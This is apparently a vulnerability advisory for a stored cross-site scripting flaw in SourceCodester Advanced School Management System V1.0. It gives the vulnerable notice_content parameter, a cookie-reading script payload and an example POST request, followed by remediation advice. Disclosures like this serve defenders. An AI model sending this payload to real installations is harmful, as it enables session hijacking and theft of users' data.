### Critical Vulnerability Information #### Affected Product - **Name**: SourceCodester Advanced School Management System with Complete Features V1.0 - **Version**: V1.0 - **Link**: [SourceCodester](https://www.sourcecodester.com/php/12689/advanced-school-management-system-complete-features.html) #### Vulnerability Type - **Type**: Cross-Site Scripting (XSS) - **Specific Type**: Stored XSS #### Impact - Attackers can exploit this vulnerability to inject malicious scripts into affected pages. When users access these pages, the scripts will be executed, potentially leading to sensitive information disclosure, session hijacking, phishing attacks, and other malicious activities. #### Vulnerability Details and POC - **Location**: `notice_content` parameter in `index.php/notice/addNotice` - **Payload**: ```html alert(document.cookie) ``` - **Example Request**: ```http POST /index.php/notice/addNotice HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded notice_title=Test¬ice_content=alert(document.cookie)&submit=Submit ``` #### Exploitation Requirements - Basic user authentication is required to exploit this vulnerability. #### Recommended Remediation Measures 1. **Input Validation and Sanitization**: Implement strict validation and sanitization of user inputs, removing or escaping any characters that could trigger security issues. 2. **Output Encoding**: Encode user inputs appropriately when rendering them on web pages to ensure they are displayed as plain text rather than executable code. 3. **Content Security Policy (CSP)**: Implement a strict Content Security Policy to restrict the sources from which resources can be loaded. 4. **Use HttpOnly and Secure Flags**: Set the HttpOnly flag to prevent JavaScript access to cookies, and use the Secure flag to ensure cookies are transmitted only over HTTPS. 5. **Regular Security Testing**: Conduct regular security assessments, including penetration testing and code reviews, to identify and fix potential vulnerabilities.